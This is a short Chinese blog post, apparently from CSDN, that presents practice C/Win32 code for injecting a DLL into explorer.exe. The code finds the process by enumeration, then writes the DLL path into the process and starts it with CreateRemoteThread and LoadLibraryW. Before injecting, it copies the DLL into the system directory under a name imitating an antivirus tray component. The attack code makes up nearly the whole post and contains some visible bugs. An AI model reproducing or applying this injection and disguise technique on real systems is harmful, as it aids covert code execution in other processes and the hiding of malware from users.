枚举进程进行DLL注入（还没有达到实用要求只是练手）被注视掉的部分是通过窗口标题查找窗口进程ID的部分。

本文链接：https://blog.youkuaiyun.com/blackdevily/article/details/6435860

这篇博客详细介绍了如何通过枚举进程找到目标进程ID，然后进行DLL注入的步骤。作者以`explorer.exe`为例，展示了如何复制DLL到系统目录，获取进程ID，打开进程，分配内存，写入内存并创建远程线程加载DLL。虽然尚未达到实用阶段，但作为DLL注入的学习过程，文章提供了清晰的操作流程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

TCHAR ProcessName[100] = _T("explorer.exe");
wchar_t szDllName[100] = L"inject.dll";

int _stdcall WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{

TCHAR currDirBuf[MAX_PATH] = {0};
TCHAR sysDirbuf[MAX_PATH] = {0};
HWND hWnd = NULL;
DWORD dwProcessId = NULL;
HANDLE hProcess = NULL;
LPVOID lpBuff = NULL;
GetCurrentDirectory(MAX_PATH,currDirBuf);
GetSystemDirectory(sysDirbuf,MAX_PATH);
wcscat(sysDirbuf,_T("//system32//36Otray.dll"));
wcscat(currDirBuf,_T("//inject.dll"));
CopyFile(currDirBuf,sysDirbuf,false);
dwProcessId = getpid();
if ( 0 == dwProcessId )
{
  MessageBox(NULL,L"Can't Find Process!",L"error",MB_OK);
  goto Exit0;
}
// if ( hProcess == 0 )
// {
//  MessageBox(NULL,L"can't find explorer",L"Error",MB_RETRYCANCEL);
//  goto Exit0;
// }
//FindWnd:
// hWnd = FindWindow(0, szWindowName);
// if ( NULL == hWnd )
// {
//
//  int iRet = MessageBox(NULL,L"can't find window",L"Error",MB_RETRYCANCEL);
//  if ( iRet == IDRETRY )
//  {
//   goto FindWnd;
//  }
//  goto Exit0;
//
// }
//GetPId:
// GetWindowThreadProcessId(hWnd,&dwProcessId);
// if( NULL == dwProcessId )
// {
//  if(IDRETRY == MessageBox(NULL,L"can't find ProcessId",L"error",MB_RETRYCANCEL))
//  {
//   goto GetPId;
//  }
// }
hProcess = OpenProcess(
  PROCESS_CREATE_THREAD
  | PROCESS_VM_OPERATION
  | PROCESS_VM_WRITE
  ,false,dwProcessId);
if( NULL == hProcess )
{
  MessageBox(NULL,L"can't open process",L"error",MB_OK);
  goto Exit0;
}
lpBuff = VirtualAllocEx(hProcess,0,sizeof(WCHAR)*lstrlen(szDllName)+1,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if ( NULL == lpBuff )
{
  MessageBox(NULL,L"can't Alloce process",L"error",MB_OK);
  goto Exit0;
}
if( 0 == WriteProcessMemory(hProcess,lpBuff,szDllName,sizeof(WCHAR)*lstrlen(szDllName)+1,NULL))
{
  MessageBox(NULL,L"can't oWrite process",L"error",MB_OK);
  goto Exit0;

}
DWORD ThreadId = NULL;
LPTHREAD_START_ROUTINE lpLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"),"LoadLibraryW");

HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,NULL,
        lpLoadLibrary,
        lpBuff,
        0,&ThreadId);

if( NULL == ThreadId )
{
MessageBox(NULL,L"失败",L"error",MB_OK);
goto Exit0;
}

WaitForSingleObject(hThread, INFINITE);

Exit0:

return 0;
}

DWORD getpid()
{
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Process32First(hSnapShot,&pe);
if ( wcscmp(pe.szExeFile,ProcessName) == 0 )
{
  goto Succ;
}
while ( Process32Next(hSnapShot,&pe))
{
  if ( wcscmp(pe.szExeFile,ProcessName) == 0 )
  {
Succ:
   return pe.th32ProcessID;
  }
}
return 0;
}